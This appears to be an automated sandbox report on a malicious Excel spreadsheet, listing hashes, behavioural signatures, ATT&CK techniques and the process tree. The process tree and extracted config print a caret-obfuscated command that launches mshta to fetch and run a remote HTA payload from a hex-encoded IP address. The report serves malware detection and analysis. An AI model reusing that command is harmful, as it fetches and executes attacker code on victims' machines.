7711d6fb56bb07b0db1056116eebfe905174f3772177006c61a7d2ecb1768311

Analysis

max time kernel
167s
max time network
227s
platform
windows10_x64
resource
win10-en-20211208
submitted
28-01-2022 01:47

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file-103.xls
Size

64KB
MD5

7130dc5fd15280036f66dfe54d6eb342
SHA1

0cbeb6e7c8b92ab7aff6c450ea6cb345ecd39252
SHA256

c2afa3ed6debe7be63cea31c4d1738e0b09d3c16b0c7c26150d3f86ca233d669
SHA512

a22e263c834b4e7ff7805d5126ce11849ede66caa9dfd0f93e07c541507490cdb4ea653eb91eee6b94967c713351882fa1a98c4fdf85cb03987bea3ae10d972c

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xc12a24f5/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3852	1980	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

37 4076 mshta.exe

flow	pid	process
37	4076	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1980 EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE
1980	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 1980 wrote to memory of 3852	1980	EXCEL.EXE	cmd.exe
PID 1980 wrote to memory of 3852	1980	EXCEL.EXE	cmd.exe
PID 3852 wrote to memory of 4076	3852	cmd.exe	mshta.exe
PID 3852 wrote to memory of 4076	3852	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\file-103.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1980

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3852

C:\Windows\system32\mshta.exe
mshta http://0xc12a24f5/cc.html
3⤵
- Blocklisted process makes network request
PID:4076

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1980-118-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/1980-119-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/1980-120-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/1980-121-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/1980-122-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/1980-131-0x00007FF7E1700000-0x00007FF7E1710000-memory.dmp

Filesize
64KB

Download
memory/1980-132-0x00007FF7E1700000-0x00007FF7E1710000-memory.dmp

Filesize
64KB

Download
memory/1980-306-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/1980-307-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/1980-308-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download
memory/1980-309-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

Filesize
64KB

Download